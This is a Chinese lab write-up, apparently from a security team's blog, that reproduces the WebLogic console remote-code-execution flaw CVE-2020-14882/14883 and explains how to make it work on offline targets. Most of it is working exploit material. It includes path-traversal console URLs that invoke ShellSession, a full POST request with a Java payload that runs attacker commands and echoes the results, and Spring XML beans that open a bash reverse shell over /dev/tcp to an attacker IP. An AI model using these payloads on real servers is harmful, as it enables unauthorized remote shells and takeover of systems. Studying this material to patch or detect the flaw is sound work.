复现过程中遇到的坑:
1、如果使用python命令开启:
python -m SimpleHTTPServer
有可能会导致访问此目录的时候是呈现出下载此文件
正确的调用需要放在web目录下,能够进行访问的形式
如:
2、
如果在不出网的情况下是否还能利用成功,然后我们就做了一下实验把网线拔了,确实远程加载不了xml,哪怕靶机跟攻击机在同一个C段内,也是调用不成功。
再多次尝试下发现了xml里有对外加载一些东西:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
在多次的删除、替换等操作下,发现可以使用本地调用的方式来解决:
就是下载该文件:http://www.springframework.org/schema/beans/spring-beans.xsd
然后在本地搭建的web下,去加载这个文件,具体代码如下:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://192.168.124.133/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder"init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >&/dev/tcp/192.168.124.133/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
保证spring-beans.xsd能够进行访问
然后再使用payload就可以反弹shell了
同事又严谨的提出一定要用10.3.6的版本来进行尝试
就开了一台10.3.6的靶机来进行利用
再断网的情况下复现成功了
使用vulhub靶机
靶机启动后先访问一下
漏洞主要使用了com.tangosol.coherence.mvel2.sh.ShellSession
,跟com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
访问URL即可使用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://192.168.1.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/1');")
进入容器里查看/tmp/目录下是否创建了1文件
再使用有回显的payload:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
Payload来自:https://github.com/jas502n/CVE-2020-14882
这个payload只能在Weblogic 12.2.1以上版本利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。
只能够另找
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
来进行使用
。
需要构造一个xml文件,需要靶机能够进行访问,xml文件内容:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的payload:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
参考文献:
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
https://github.com/jas502n/CVE-2020-14882
本次实验均为虚拟机环境,仅供学习参考
本文始发于微信公众号(Khan安全团队):复现CVE-2020-14883(说几个坑)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论